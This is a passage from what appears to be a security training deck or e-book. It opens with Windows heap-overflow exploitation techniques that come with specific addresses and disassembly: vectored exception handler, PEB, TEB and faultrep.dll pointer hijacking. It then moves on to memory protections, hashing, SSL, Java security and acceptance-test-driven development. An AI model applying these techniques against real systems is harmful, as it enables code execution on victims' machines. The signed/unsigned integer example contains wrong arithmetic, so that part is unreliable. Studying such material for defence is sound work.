  • 129. 128 | P a g e Vectored handlers are called before any frame based handlers! Technique involves overwriting the pointer to the first _VECTORED_EXCEPTION_NODE @ 0x77FC3210 with a pointer to a fake VE node. 77F7F49E mov esi,dword ptr ds:[77FC3210h] 77F7F4A4 jmp 77F7F4B4 77F7F4A6 lea eax,[ebp-8] 77F7F4A9 push eax 77F7F4AA call dword ptr [esi+8] 77F7F4AD cmp eax,0FFh 77F7F4B0 je 77F7F4CC 77F7F4B2 mov esi,dword ptr [esi] 77F7F4B4 cmp esi,edi 77F7F4B6 jne 77F7F4A6 The code behind is calling the vectored exception handler. Need to find a pointer on the stack to our buffer. Assume it can be found at 0x0012FF50. This becomes our m_pfnVectoredHandler making the address of our pseudo _VECTORED_EXCEPTION_NODE 0x0012FF48. Remember on the free we get an arbitrary DWORD overwrite: 77F6256F mov dword ptr [ecx],eax 77F62571 mov dword ptr [eax+4],ecx We set EAX to 0x77FC320C and ECX to 0x0012FF48. 0x77FC320C is moved into 0x0012FF48 then 0x0012FF48 is moved into 0x77FC3210 – thus our pointer is set. When an exception occurs 0x0012FF48 (our pseudo VEN) is moved into ESI and DWORD PTR[ESI+8] is called. ESI+8 is a pointer to our buffer. Notes: If the location of the stack (and thus the pointer to the buffer) moves this method can be unreliable. Each process contains a structure known as the PROCESS ENVIRONMENT BLOCK or PEB. The PEB can be referenced from the Thread Information/Environment Block TIB/TEB. FS:[0] points to the TEB. mov eax, dword ptr fs:[0x30] mov eax, dword ptr fs:[eax+0x18]
  • 130. 129 | P a g e As well as containing other process specific data the PEB contains some pointers to RtlEnterCriticalSection and RtlLeaveCriticalSection. These pointers are referenced from RtlAccquirePebLock and RtlReleasePebLock. RtlAccquirePebLock is called from ExitProcess for example. The location of the PEB is stable across Windows NT 4 / 2000 / XP and thus the pointer to RtlEnterCriticalSection can be found at 0x7FFDF020. Whilst the PEB can be found at the same address in Windows 2003 the function pointers are no longer present so this method won’t work with 2003. The method simply involves overwriting the pointer to RtlEnterCriticalSection in the PEB with the address of an instruction that will return to the buffer. Each Thread Environment Block contains a pointer to the first frame based exception handler. The first thread’s TEB has a base address of 0x7FFDE000 and each new thread’s TEB is assigned an address growing towards 0x00000000. If a thread exits and a new thread is created then it will get the address of the previous thread’s TEB. This can lead to a “messy” TEB table and can make this method uncertain. However, if the address of the vulnerable thread’s TEB is stable then this method can be used quite effectively. The method involves overwriting the pointer to the first exception handler in the TEB with an address that points to an instruction that will get path of execution back to the buffer. There are other ways to exploit heap based buffer overflows to execute arbitrary code to defeat mechanisms such as marking the heap as non-executable. Assume we have a process with the heap marked as non-executable. This can be defeated with pointer subversion. An example of this can be found in the fault reporting functionality of the UnhandledExceptionFilter() function. The fault reporting code calls GetSystemDirectoryW() to which “faultrep.dll” is concatenated. This library is the loaded and the ReportFault() function is called. GetSystemDirectoryW() references a pointer in the .data section of kernel32.dll that points to where the wide character string of the Windows system directory can be found. This pointer can be found at 0x77ED73BC. On overflow we can set this pointer to our own system directory.
  • 131. 130 | P a g e Thus when GetSystemDirectoryW() is called the “system” directory is a directory owned by the attacker – this can even be a UNC path. The attacker would create their own faultrep.dll which exports a ReportFault() function and so when the UnhandledExceptionFilter() function is called arbitrary code can be executed. Whilst code paths are finite I’d argue that the possibilities of what can be done are limited more by the imagination. Off-By-One Signed vs. Un-Signed
  • 132. 131 | P a g e  There are two types of numeric variables: o One is signed, ranges from -32767 to +32767 o Second one has no sign, ranges from 0 to 65535  The first determines if the number is negative or not, let’s take an example: a) 0x11E3 Signed Short Integer 0x11E3 = 0001000111100011 = -7407 b) 0x11E3 ‫כ‬ Unsigned Short Integer 0x11E3 = 1110111100011100 = 58129 Memory Protection Mechanisms Security Cookie (Canary) • This mechanism was created to avoid successful code execution when overwriting stack variables. • The mechanism creates a random value on process runtime, plants it before the functions return pointer and verifying it before calling the “ret” command.
  • 133. 132 | P a g e • While the application is attacked, and the return address is overwritten, this value is also overwritten, the memory overwrite is being detected and the application does not call the return command. (it usually closes itself) • This way, there is no way to overwrote the return address (EIP) without the software knowing it and protecting itself SafeSEH • This mechanism was invented to prevent attackers from executing code by overwriting the error handler pointer
  • 134. 133 | P a g e • SHE overwrites were used to bypass the Stack’s Security Cookie by overwriting the exception handler and causing an exception, therefore executing code before the function returns and before the stack cookie is being verified. • SafeSEH denies the ability of an attacker to execute code by overwriting the SHE handler by maintaining a white-list of allowed SHE function pointers, gathered at compilation time and there no unauthorized dynamically added/written SHE pointer will be executed. • The problem with this method is that old unsafe libraries that are loaded into the process at known addresses can be used as trampolines to execute code. Address Space Layout Randomization (ASLR)
  • 135. 134 | P a g e • ASLR is a mechanism which randomizes the modules addresses in the application’s memory space, creating an unpredictable process layout and denying attackers from knowing the memory addresses of useful code and system calls. • The system calls/APIs addresses are being randomizes with each system reboot • The application’s modules addresses are being randomizes with process initialization • ASLR eliminates SafeSEH bypassing with old libraries, stack cookie bypass using return- to-libc attacks and disabling DEP using return-to-libc. NX (No eXecute – Hardware DEP) • NX is a bit in each the PageEntry which tells the CPU/Operating System if the bytes in this memory page is code and is meant and allowed to be executed. • This bits purpose is denying attackers from executing code while attacking applications • When the attacker executes the attack, he makes a jump into his own code, when DEP is enables the application closes right after the jump, since it is not allowed to execute code from user/attacker influenced memory locations such as the Stack and the Head.
  • 136. 135 | P a g e Windows - Software DEP NX – In Sun VM Environment
  • 137. 136 | P a g e NX – Process Support
  • 138. 137 | P a g e
  • 139. 138 | P a g e Basic Intoduction To Cryptography Hash A hash function is any well-defined procedure or mathematical function that converts a large, possibly variable-sized amount of data into a small datum, usually a single integer that may serve as an index to an array (cf. associative array). The values returned by a hash function are called hash values, hash codes, hash sums, checksums or simply hashes. Hash functions are mostly used to speed up table lookup or data comparison tasks—such as finding items in a database, detecting duplicated or similar records in a large file, finding similar stretches in DNA sequences, and so on. A hash function may map two or more keys to the same hash value. In many applications, it is desirable to minimize the occurrence of such collisions, which means that the hash function must map the keys to the hash values as evenly as possible. Depending on the application, other properties may be required as well. Although the idea was conceived in the 1950s, the design of good hash functions is still a topic of active research. Hash functions are related to (and often confused with) checksums, check digits, fingerprints, randomization functions, error correcting codes, and cryptographic hash functions. Although these concepts overlap to some extent, each has its own uses and requirements and is designed and optimized differently. The HashKeeper database maintained by the American National Drug Intelligence Center, for instance, is more aptly described as a catalog of file fingerprints than of hash values.
  • 140. 139 | P a g e MD5 HASH “Reverse” Let’s create the MD5 Hash of the text “Password10”: Let’s submit the hash to a public website and watch the results:
  • 141. 140 | P a g e Rainbow Tables A rainbow table is a pre-computed table for reversing cryptographic hash functions, usually for cracking password hashes. Tables are usually used in recovering the plaintext password, up to a certain length consisting of a limited set of characters. It is a form of time-memory tradeoff, using less CPU at the cost of more storage. Proper key derivation functions employ salt to make this attack infeasible. Simplified rainbow table with 3 reduction functions Rainbow tables are a refinement of an earlier, simpler algorithm by Martin Hellman that used the inversion of hashes by looking up pre-computed hash chains.
  • 142. 141 | P a g e SSL How Does SSL Work? Transport Layer Security (TLS) and its predecessor, Secure Sockets Layer (SSL), are cryptographic protocols that provide communication security over the Internet. TLS and SSL encrypt the segments of network connections above theTransport Layer, using asymmetric cryptography for privacy and a keyed message authentication code (trustworthy symmetric key exchange) for message reliability. Several versions of the protocols are in widespread use in applications such as web browsing, electronic mail, Internet faxing, instant messaging and voice-over-IP (VoIP). The TLS protocol allows client/server applications to communicate across a network in a way designed to prevent eavesdropping and tampering. A TLS client and server negotiate a stateful connection by using a handshaking procedure. During this handshake, the client and server agree on various parameters used to establish the connection's security.  The handshake begins when a client connects to a TLS-enabled server requesting a secure connection and presents a list of supported CipherSuites (ciphers and hash functions).  From this list, the server picks the strongest cipher and hash function that it also supports and notifies the client of the decision.
  • 143. 142 | P a g e  The server sends back its identification in the form of a digital certificate. The certificate usually contains the server name, the trusted certificate authority (CA) and the server's public encryption key.  The client may contact the server that issued the certificate (the trusted CA as above) and confirm the validity of the certificate before proceeding.  In order to generate the session keys used for the secure connection, the client encrypts a random number with the server's public key and sends the result to the server. Only the server should be able to decrypt it, with its private key.  From the random number, both parties generate key material for encryption and decryption. This concludes the handshake and begins the secured connection, which is encrypted and decrypted with the key material until the connection closes. If any one of the above steps fails, the TLS handshake fails and the connection is not created.
  • 144. 143 | P a g e Java Language Security and Bytecode Verification type-safe automatic memory management garbage collection range-checking on arrays the language defines four distinct access levels: private, protected, public, and, if unspecified, package. The most open access specifier is public—access is allowed to anyone. The most restrictive modifier is private—access is not allowed outside the particular class in which the private member (a method, for example) is defined. The protected modifier allows access to any subclass, or to other classes within the same package. Package-level access only allows access to classes within the same package. A compiler translates Java programs into a machine-independent bytecode representation. A bytecode verifier is invoked to ensure that only legitimate bytecodes are executed in the Java runtime. It checks that the bytecodes conform to the Java Language Specification and do not violate Java language rules or namespace restrictions. The verifier also checks for memory management violations, stack underflows or overflows, and illegal data typecasts. Once bytecodes have been verified, the Java runtime prepares them for execution. Security Providers The java.security.Provider class encapsulates the notion of a security provider in the Java platform. It specifies the provider’s name and lists the security services it implements. Multiple providers may be configured at the same time, and are listed in order of preference. When a security service is requested, the highest priority provider that implements that service is selected. Applications rely on the relevant getInstance method to obtain a security service from an underlying provider. For example, message digest creation represents one type of service available from providers. (Chapter 4 discusses message digests and other cryptographic services.) An application invokes the getInstance method in the java.security.MessageDigest class to obtain an implementation of a specific message digest algorithm, such as MD5.
  • 145. 144 | P a g e MessageDigest md = MessageDigest.getInstance("MD5"); The program may optionally request an implementation from a specific provider, by indicating the provider name, as in the following: MessageDigest md = MessageDigest.getInstance("MD5", "ProviderC"); Figures 1 and 2 illustrate these options for requesting an MD5 message digest implementation. Both figures show three providers that implement message digest algorithms. The providers are ordered by preference from left to right (1-3). In Figure 1, an application requests an MD5 algorithm implementation without specifying a provider Sun Microsystems, Inc. Basic Security Architecture P3 name. The providers are searched in preference order and the implementation from the first provider supplying that particular algorithm, ProviderB, is returned. In Figure 2, the application requests the MD5 algorithm implementation from a specific provider, ProviderC. This time the implementation from that provider is returned, even though a provider with a higher preference order, ProviderB, also supplies an MD5 implementation. Figure 1 – Provider searching Figure 2 – Specific provider requested The Java platform implementation from Sun Microsystems includes a number of pre-configured default
  • 146. 145 | P a g e providers that implement a basic set of security services that can be used by applications. Note that other vendor implementations of the Java platform may include different sets of providers that encapsulate vendor-specific sets of security services. When this paper mentions built-in default providers, it is referencing those available in Sun’s implementation. The sections below on the various security areas (cryptography, authentication, etc.) each include descriptions of the relevant services supplied by the default providers. A table in Appendix C summarizes all of the default providers. File Locations Certain aspects of Java security mentioned in this paper, including the configuration of providers, may be customized by setting security properties. You may set security properties statically in the security properties file, which by default is the java.security file in the lib/security directory of the directory where the Java™ Runtime Environment (JRE) is installed. Security properties may also be set dynamically by calling appropriate methods of the Security class (in the java.security package). The tools and commands mentioned in this paper are all in the ~jre/bin directory, where ~jre stands for the directory in which the JRE is installed. The cacerts file mentioned in Chapter 5 is in ~jre/lib/security. Cryptography The Java cryptography architecture is a framework for accessing and developing cryptographic functionality for the Java platform. It includes APIs for a large variety of cryptographic services, including: • Message digest algorithms • Digital signature algorithms • Symmetric bulk encryption • Symmetric stream encryption • Asymmetric encryption • Password-based encryption (PBE) • Elliptic Curve Cryptography (ECC) • Key agreement algorithms • Key generators • Message Authentication Codes (MACs) • (Pseudo-)random number generators For historical (export control) reasons, the cryptography APIs are organized into two distinct packages. The java.security package contains classes that are not subject to export controls (like Signature and
  • 147. 146 | P a g e MessageDigest). The javax.crypto package contains classes that are subject to export controls (like Cipher and KeyAgreement). The cryptographic interfaces are provider-based, allowing for multiple and interoperable cryptography implementations. Some providers may perform cryptographic operations in software; others may perform the operations on a hardware token (for example, on a smartcard device or on a hardware cryptographic accelerator). Providers that implement export-controlled services must be digitally signed. The Java platform includes built-in providers for many of the most commonly used cryptographic algorithms, including the RSA and DSA signature algorithms, the DES, AES, and ARCFOUR encryption algorithms, the MD5 and SHA-1 message digest algorithms, and the Diffie-Hellman key agreement algorithm. These default providers implement cryptographic algorithms in Java code. The Java platform also includes a built-in provider that acts as a bridge to a native PKCS#11 (v2.x) token. This provider, named “SunPKCS11”, allows Java applications to seamlessly access cryptographic services located on PKCS#11-compliant tokens. Public Key Infrastructure Public Key Infrastructure (PKI) is a term used for a framework that enables secure exchange of information based on public key cryptography. It allows identities (of people, organizations, etc.) to be bound to digital certificates and provides a means of verifying the authenticity of certificates. PKI encompasses keys, certificates, public key encryption, and trusted Certification Authorities (CAs) who generate and digitally sign certificates. The Java platform includes API and provider support for X.509 digital certificates and certificate revocation lists (CRLs), as well as PKIX-compliant certification path building and validation. The classes related to PKI are located in the java.security and java.security.cert packages. Key and Certificate Storage The Java platform provides for long-term persistent storage of cryptographic keys and certificates via key and certificate stores. Specifically, the java.security.KeyStore class represents a key store, a secure repository of cryptographic keys and/or trusted certificates (to be used, for example, during certification path validation), and the java.security.cert.CertStore class represents a certificate store, a public and potentially vast repository of unrelated and typically untrusted certificates. A CertStore may also store CRLs.
  • 148. 147 | P a g e KeyStore and CertStore implementations are distinguished by types. The Java platform includes the standard PKCS11 and PKCS12 key store types (whose implementations are compliant with the corresponding PKCS specifications from RSA Security), as well as a proprietary file-based key store type called JKS (which stands for “Java Key Store”). The Java platform includes a special built-in JKS key store, cacerts, that contains a number of certificates for well-known, trusted CAs. The keytool documentation (see the security features documentation link in Chapter 9) lists the certificates included in cacerts. The SunPKCS11 provider mentioned in the “Cryptography” chapter (Chapter 4) includes a PKCS11 KeyStore implementation. This means that keys and certificates residing in secure hardware (such as a smartcard) can be accessed and used by Java applications via the KeyStore API. Note that smartcard keys may not be permitted to leave the device. In such cases, the java.security.Key object reference returned by the KeyStore API may simply be a reference to the key (that is, it would not contain the actual key material). Such a Key object can only be used to perform cryptographic operations on the device where the actual key resides. The Java platform also includes an LDAP certificate store type (for accessing certificates stored in an LDAP directory), as well as an in-memory Collection certificate store type (for accessing certificates managed in a java.util.Collection object). PKI Tools There are two built-in tools for working with keys, certificates, and key stores: keytool is used to create and manage key stores. It can • Create public/private key pairs • Display, import, and export X.509 v1, v2, and v3 certificates stored as files Sun Microsystems, Inc. Public Key Infrastructure P7 • Create self-signed certificates • Issue certificate (PKCS#10) requests to be sent to CAs • Import certificate replies (obtained from the CAs sent certificate requests) • Designate public key certificates as trusted The jarsigner tool is used to sign JAR files, or to verify signatures on signed JAR files. The Java™ ARchive (JAR) file format enables the bundling of multiple files into a single file. Typically a JAR file contains the class files and auxiliary resources associated with applets and applications. When you want to digitally sign code, you first use keytool to generate or import appropriate keys and certificates into your key store (if they are not there already), then use the jar tool to place the code in a JAR file, and finally use the jarsigner tool to sign the JAR file. The jarsigner tool accesses a key store to find any keys and certificates needed to sign a JAR file or to verify the signature of a signed JAR file. Note – jarsigner can optionally generate signatures that include a timestamp. Systems (such as Java™ Plug-in) that verify JAR file signatures can check the timestamp and accept a JAR file that was signed while the signing certificate was valid rather than
  • 149. 148 | P a g e requiring the certificate to be current. (Certificates typically expire annually, and it is not reasonable to expect JAR file creators to re-sign deployed JAR files annually.) P8 Authentication Sun Microsystems, Inc. Chapter 6 Authentication Authentication is the process of determining the identity of a user. In the context of the Java™ runtime environment, it is the process of identifying the user of an executing Java program. In certain cases, this process may rely on the services described in the “Cryptography” chapter (Chapter 4). The Java platform provides APIs that enable an application to perform user authentication via pluggable login modules. Applications call into the LoginContext class (in the javax.security.auth.login package), which in turn references a configuration. The configuration specifies which login module (an implementation of the javax.security.auth.spi.LoginModule interface) is to be used to perform the actual authentication. Since applications solely talk to the standard LoginContext API, they can remain independent from the underlying plug-in modules. New or updated modules can be plugged in for an application without having to modify the application itself. Figure 3 illustrates the independence between applications and underlying login modules:
  • 150. 149 | P a g e
  • 151. 150 | P a g e It is important to note that although login modules are pluggable components that can be configured into the Java platform, they are not plugged in via security providers. Therefore, they do not follow the provider searching model described in Chapter 3. Instead, as is shown in the above diagram, login modules are administered by their own unique configuration. Application Authentication Framework Smartcard Kerberos Username/ Password Configuration The Java platform provides the following built-in LoginModules, all in the com.sun.security.auth. module package: • Krb5LoginModule for authentication using Kerberos protocols • JndiLoginModule for username/password authentication using LDAP or NIS databases • KeyStoreLoginModule for logging into any type of key store, including a PKCS#11 token key store Authentication can also be achieved during the process of establishing a secure communication channel between two peers. The Java platform provides implementations of a number of standard communication protocols, whichare discussed in the following chapter. Secure Communication The data that travels across a network can be accessed by someone who is not the intended recipient. When the data includes private information, such as passwords and credit card numbers, steps must be taken to make the data unintelligible to unauthorized parties. It is also important to ensure that you are sending the data to the appropriate party, and that the data has not been modified, either intentionally or unintentionally, during transport. Cryptography forms the basis required for secure communication, and that is described in Chapter 4. The Java platform also provides API support and provider implementations for a number of standard secure communication protocols. SSL/TLS The Java platform provides APIs and an implementation of the SSL and TLS protocols that includes functionality for data encryption, message integrity, server authentication, and optional client authentication. Applications can use SSL/TLS to provide for the secure passage of data between two peers over any application protocol, such as HTTP
  • 152. 151 | P a g e on top of TCP/IP. The javax.net.ssl.SSLSocket class represents a network socket that encapsulates SSL/TLS support on top of a normal stream socket (java.net.Socket). Some applications might want to use alternate data transport abstractions (e.g., New-I/O); the javax.net.ssl.SSLEngine class is available to produce and consume SSL/TLS packets. The Java platform also includes APIs that support the notion of pluggable (provider-based) key managers and trust managers. A key manager is encapsulated by the javax.net.ssl.KeyManager class, and manages the keys used to perform authentication. A trust manager is encapsulated by the TrustManager class (in the same package), and makes decisions about who to trust based on certificates in the key store it manages. SASL Simple Authentication and Security Layer (SASL) is an Internet standard that specifies a protocol for authentication and optional establishment of a security layer between client and server applications. SASL defines how authentication data is to be exchanged, but does not itself specify the contents of that data. It is a framework into which specific authentication mechanisms that specify the contents and semantics of the authentication data can fit. There are a number of standard SASL mechanisms defined by the Internet community for various security levels and deployment scenarios. The Java SASL API defines classes and interfaces for applications that use SASL mechanisms. It is defined to be mechanism-neutral; an application that uses the API need not be hardwired into using any particular SASL mechanism. Applications can select the mechanism to use based on desired security features. The API supports both client and server applications. The javax.security.sasl.Sasl class is used to create SaslClient and SaslServer objects. P10 Secure Communication Sun Microsystems, Inc. SASL mechanism implementations are supplied in provider packages. Each provider may support one or more SASL mechanisms and is registered and invoked via the standard provider architecture. The Java platform includes a built-in provider that implements the following SASL mechanisms: • CRAM-MD5, DIGEST-MD5, EXTERNAL, GSSAPI, and PLAIN client mechanisms • CRAM-MD5, DIGEST-MD5, and GSSAPI server mechanisms GSS-API and Kerberos The Java platform contains an API with the Java language bindings for the Generic Security Service Application Programming Interface (GSS-API). GSS-API offers application programmers uniform access to security services atop a variety of underlying security mechanisms. The Java GSS-API currently requires use of a Kerberos v5 mechanism, and the Java platform includes a built-in implementation of this mechanism. At this time, it is not possible to plug in additional mechanisms. Note – The Krb5LoginModule mentioned in Chapter 6 can be used in conjunction with the GSS Kerberos mechanism. Before two applications can use the Java GSS-API to securely exchange messages between them, they must
  • 153. 152 | P a g e establish a joint security context. The context encapsulates shared state information that might include, for example, cryptographic keys. Both applications create and use an org.ietf.jgss.GSSContext object to establish and maintain the shared information that makes up the security context. Once a security context has been established, it can be used to prepare secure messages for exchange. The Java GSS APIs are in the org.ietf.jgss package. The Java platform also defines basic Kerberos classes, like KerberosPrincipal and KerberosTicket, which are located in the javax.security. auth.kerberos package. Sun Microsystems, Inc. Secure Communication P11 Chapter 8 Access Control The access control architecture in the Java platform protects access to sensitive resources (for example, local files) or sensitive application code (for example, methods in a class). All access control decisions are mediated by a security manager, represented by the java.lang.SecurityManager class. A SecurityManager must be installed into the Java runtime in order to activate the access control checks. Java applets and Java™ Web Start applications are automatically run with a SecurityManager installed. However, local applications executed via the java command are by default not run with a SecurityManager installed. In order to run local applications with a SecurityManager, either the application itself must programmatically set one via the setSecurityManager method (in the java.lang.System class), or java must be invoked with a -Djava.security.manager argument on the command line. Permissions When Java code is loaded by a class loader into the Java runtime, the class loader automatically associates the following information with that code: • Where the code was loaded from • Who signed the code (if anyone) • Default permissions granted to the code This information is associated with the code regardless of whether the code is downloaded over an untrusted network (e.g., an applet) or loaded from the filesystem (e.g., a local application). The location from which the code was loaded is represented by a URL, the code signer is represented by the signer’s certificate chain, and default permissions are represented by java.security.Permission objects. The default permissions automatically granted to downloaded code include the ability to make network connections back to the host from which it originated. The default permissions automatically granted to code loaded from the local filesystem include the ability to read files from the directory it came from, and also from subdirectories of that directory. Note that the identity of the user executing the code is not available at class loading time. It is the responsibility of application code to authenticate the end user if necessary (for example, as described in Chapter 6). Once the user
  • 154. 153 | P a g e has been authenticated, the application can dynamically associate that user with executing code by invoking the doAs method in the javax.security.auth.Subject class. Policy As mentioned earlier, a limited set of default permissions are granted to code by class loaders. Administrators have the ability to flexibly manage additional code permissions via a security policy. The Java platform encapsulates the notion of a security policy in the java.security.Policy class. There is only one Policy object installed into the Java runtime at any given time. The basic responsibility of the Policy object is to determine whether access to a protected resource is permitted to code (characterized by where it was loaded from, who signed it, and who is executing it). How a Policy object makes this determination is implementation-dependent. For example, it may consult a database containing authorization data, or it may contact another service. P12 Access Control Sun Microsystems, Inc. The Java platform includes a default Policy implementation that reads its authorization data from one or more ASCII (UTF-8) files configured in the security properties file. These policy files contain the exact sets of permissions granted to code—specifically, the exact sets of permissions granted to code loaded from particular locations, signed by particular entities, and executing as particular users. The policy entries in each file must conform to a documented proprietary syntax, and may be composed via a simple text editor or the graphical policytool utility. Access Control Enforcement The Java runtime keeps track of the sequence of Java calls that are made as a program executes. When access to a protected resource is requested, the entire call stack, by default, is evaluated to determine whether the requested access is permitted. As mentioned earlier, resources are protected by the SecurityManager. Security-sensitive code in the Java platform and in applications protects access to resources via code like the following: SecurityManager sm = System.getSecurityManager(); if (sm != null) { sm.checkPermission(perm); } where perm is the Permission object that corresponds to the requested access. For example, if an attempt is made to read the file /tmp/abc, the permission may be constructed as follows: Permission perm = new java.io.FilePermission("/tmp/abc", "read"); The default implementation of SecurityManager delegates its decision to the java.security. AccessController implementation. The AccessController traverses the call stack, passing to the installed security Policy each code element in the stack, along with the requested permission (for example, the FilePermission in the above example). The Policy determines whether the requested access is granted, based on the permissions configured by the administrator. If access is not granted, the AccessController throws a java.lang.SecurityException.
  • 155. 154 | P a g e Figure 4 illustrates access control enforcement. In this particular example, there are initially two elements on the call stack, ClassA and ClassB. ClassA invokes a method in ClassB, which then attempts to access the file /tmp/abc by creating an instance of java.io.FileInputStream. The FileInputStream constructor creates a FilePermission, perm, as shown above, and then passes perm to the SecurityManager’s checkPermission method. In this particular case, only the permissions for ClassA and ClassB need to be checked, because all system code, including FileInputStream, SecurityManager, and AccessController, automatically receives all permissions. In this example, ClassA and ClassB have different code characteristics—they come from different locations and have different signers. Each may have been granted a different set of permissions. The AccessController only grants access to the requested file if the Policy indicates that both classes have been granted the required FilePermission.
  • 156. 155 | P a g e
  • 157. 156 | P a g e
  • 158. 157 | P a g e There are also three Kerberos-related tools that are shipped with the Java platform for Windows. Equivalent functionality is provided in tools of the same name that are automatically part of the Solaris™ and Linux operating environments. Table 3 summarizes the Kerberos tools. Appendix C – Built-in Providers The Java platform implementation from Sun Microsystems includes a number of built-in provider packages. Table 4 summarizes some of the most important security services supplied by these providers. For
  • 159. 158 | P a g e details, see the documentation referenced in the “For More Information” chapter. In the table, the providers are listed in default preference order, and the preference order is shown underneath each provider name, in parentheses. The final column lists the standard names that can be passed to relevant getInstance calls (for example, MessageDigest.getInstance).
  • 160. 159 | P a g e
  • 161. 160 | P a g e Acceptance-test driven development for web applications ATDD is a simple process change that can have far-reaching implications for your development projects. Acceptance-Test Driven Development, or ATDD, is a collaborative practice wherein application developers, software users, and business analysts define automated acceptance criteria very early in the application development process. They then use the acceptance criteria to guide subsequent development work. As John Ferguson Smart explains in
  • 162. 161 | P a g e this JavaWorld feature, ATDD is a simple process change that can have far-reaching implications for your development projects. From acceptance tests to ATDD The idea of acceptance tests -- a set of tests that must pass before an application can be considered finished -- is certainly not new. Indeed, the value of testing an application before delivering it is relatively well established. Traditionally, testers will prepare test plans and execute tests manually at the end of the software development phase. Acceptance testing is done relatively independent of development activities. In some organizations, QA departments also use automated testing tools such as HP's Quick Test Pro; but, again, this activity is generally siloed away from the rest of the development activity. Testing an application after it has been developed has a number of significant drawbacks. Most importantly, having feedback about problems raised at this late stage of development makes it very difficult to correct bugs of any size. These results in costly rework, wasted developer time, and delayed deliveries. ATDD takes a different approach. Essentially, ATDD involves collaboratively defining and automating the acceptance tests for upcoming work before it even begins -- a simple inversion that turns out to be a real game changer. Rather than validating what has been developed at the end of the development process, ATDD actively pilots the project from the start. Rather than being an activity reserved to the QA team, ATDD is a collaborative exercise that involves product owners, business analysts, testers, and developers. And rather than just testing the finished product, ATDD helps to ensure that all project members understand precisely what needs to be done, even before the programming starts. In addition, acceptance tests are no longer cantoned to the end of the project and performed as an isolated activity. Instead, ATDD tests are automated and fully integrated throughout the development process. As a result, issues are raised faster and can be fixed more quickly and less expensively, the workload on QA at the end of the project is greatly reduced, and the team is able to respond to change faster and more effectively. ATDD in practice Let's consider how ATDD typically works in the context of an agile project. As a rule, a software project aims at delivering end-users with a number of high-level "features" (sometimes called functionalities or capabilities). A feature is a general value-proposition relating to something the application can do for the end-user, expressed in terms you might put on a product flyer or press release: for example, a feature of an online real-estate lease-management application might be "Manage property repairs."
  • 163. 162 | P a g e Features are generally too big to implement all at once, so they are broken into smaller, more manageable chunks. In agile circles, these chunks are often expressed in the form of user stories -- a short sentence capturing what the user wants from a particular piece of functionality. For example, user stories for the "Manage property repairs" feature might include "Issue work order" and "Approve invoice." A user story cannot stand alone, however; it is merely the promise of a conversation between developers and users about a particular requirement. The details about what needs to be implemented will arise from this conversation. It will then be formalized as a set of objective, demonstrable acceptance criteria. For example, you would need to specify acceptance criteria for "user can approve an invoice for an amount less than the agreed maximum" and "user cannot approve an invoice if the price exceeds the agreed maximum." Acceptance criteria determine when a particular user story is ready to be deployed into production. But they do much more than record what should be tested at the end of an iteration. Acceptance criteria are drawn up as a collaborative exercise, at the start of the iteration, with developers, testers, and product owners involved. As a result, they help ensure that everyone on the team has a clear vision of what is required. They also help provide clear guidelines for developers as to what needs to be implemented. (These guidelines are even more effective if the developers doing the programming are practicing Test Driven Development, or TDD.) ATDD and TDD TDD, or Test-Driven Development, is a highly effective development strategy that helps developers write code more accurately and precisely. The low-level requirements used to drive TDD are directly derived from the high-level acceptance tests, so the two techniques complement each other: automated acceptance tests describe the high level business objectives, while TDD helps developers implement them as requirements. Note that acceptance criteria are not designed to be exhaustive -- there will be more technical tests for that. Instead, they are used as much for communication as they are for verification. They take the form of working examples, which is why ATDD is sometimes referred to as "specification by example." Acceptance-test driven development is not just limited to agile projects. Even teams using more formal and detailed use cases, or more traditional approaches such as the Software Requirements Specification (or SRS) documents, can benefit from having verifiable, automated acceptance criteria as early as possible. Automating your acceptance tests A key part of acceptance criteria is that they are automated. They are not simply stored in a Word document or Excel spreadsheet, but are living, executable tests. This is important -- for ATDD to be effective, the automated acceptance tests need to be run automatically whenever a change is made
  • 164. 163 | P a g e to the source code. So it is vitally important to have a tool that will integrate smoothly into your build process, and that can be run on your build server with no human intervention. Automated acceptance tests not only serve to test the application: they also provide an objective measurement of progress (in agile projects, working software is considered to be the only true measure of progress). The tests can also give an idea of the relative complexity of each feature and story, because a functionality that is long and complicated to test is likely to also be long and complicated to develop. This in turn can give a useful heads-up to product owners needing to set priorities. Although you certainly can write automated acceptance tests using conventional unit testing tools such as TestNG, there are a number of dedicated ATDD tools. These tools are focused as much on communication and feedback as they are on testing. ATDD tools ATDD is more an approach than a toolset, but there are a number of tools that can make things easier. FitNesse is one of the earliest ATDD tools. Using FitNesse, users enter their requirements in tabular form in a Wiki, and developers write code behind the scenes to run the test data stored in the Wiki against the actual application. When the tests are executed, the table will be colored according to whether the tests succeeded or failed. FitNesse is very useful when your acceptance test criteria can be expressed in terms of tables of data and expected results, although it is also used to express acceptance tests as a series of steps. More recently, other tools have emerged that support Behaviour-Driven Development, or BDD. This technique encourages developers to think in terms of the behaviour of an application, and to express their low-level technical requirements using a narrative approach. Cucumber is a popular tool from the Ruby community, that allows you to express your acceptance criteria using the "given-when- then" structure commonly used in agile projects. It is also easy to use Cucumber with Java. JBehave uses a similar approach, with stories expressed in text files and tests written using annotated Java classes. Easyb is a similar tool based on the Groovy language. Concordion is another more recent ATDD tool. In Concordion, acceptance tests are expressed in the form of HTML pages containing free-form text and tables. Java classes are then used to analyze special tags placed in these pages, in order to execute and display the results in HTML form. All of these tools place a high emphasis on readability and communication. Listing 1 illustrates how one of the earlier acceptance criteria might be expressed using Easyb: Listing 1. A user scenario in Easyb scenario User can approve an invoice for an amount less than the agreed maximum" { given "the User has selected an open invoice",
  • 165. 164 | P a g e and "the User has chosen to approve the invoice", and "the invoice amount is less than the agreed maximum amount", when "the User completes the action", then "the invoice should be successfully approved", } Once the acceptance criteria are defined in this way, the corresponding test code can then be written in more conventional programming languages such as Java, Groovy, and Ruby. In addition to showcasing Easyb, this code snip shows the communication focus of ATDD tools. Automated acceptance criteria are expressed in high-level terms that makes sense to business managers as much as to software engineers and programmers. Most ATDD tools also generate reports that express the test results in familiar business terms. Tests that have been written in this way, but with no backing test code, will be marked as "pending." At the start of an iteration, all of the acceptance criteria will be in this state. As development progresses, the next step will be to implement them, which is where the actual code that tests the application is written. So these reports not only tell you what tests pass and fail, they also provide a way to track the progress of your project, by indicating what work remains to be done. Taking a slightly broader perspective, automated acceptance tests are like any other automated tests -- they should be stored in your version control system and executed periodically on your Continuous Integration server (at least on a nightly basis, but preferably whenever a change is made to the application source code). Getting fast feedback when acceptance tests fail is essential. You can also configure your CI server to publish the results of the acceptance tests where they can be easily consulted by non-developers. Fortunately, modern CI tools such as Jenkins integrate well with virtually all of the common BDD tools. Automating acceptance tests for web applications 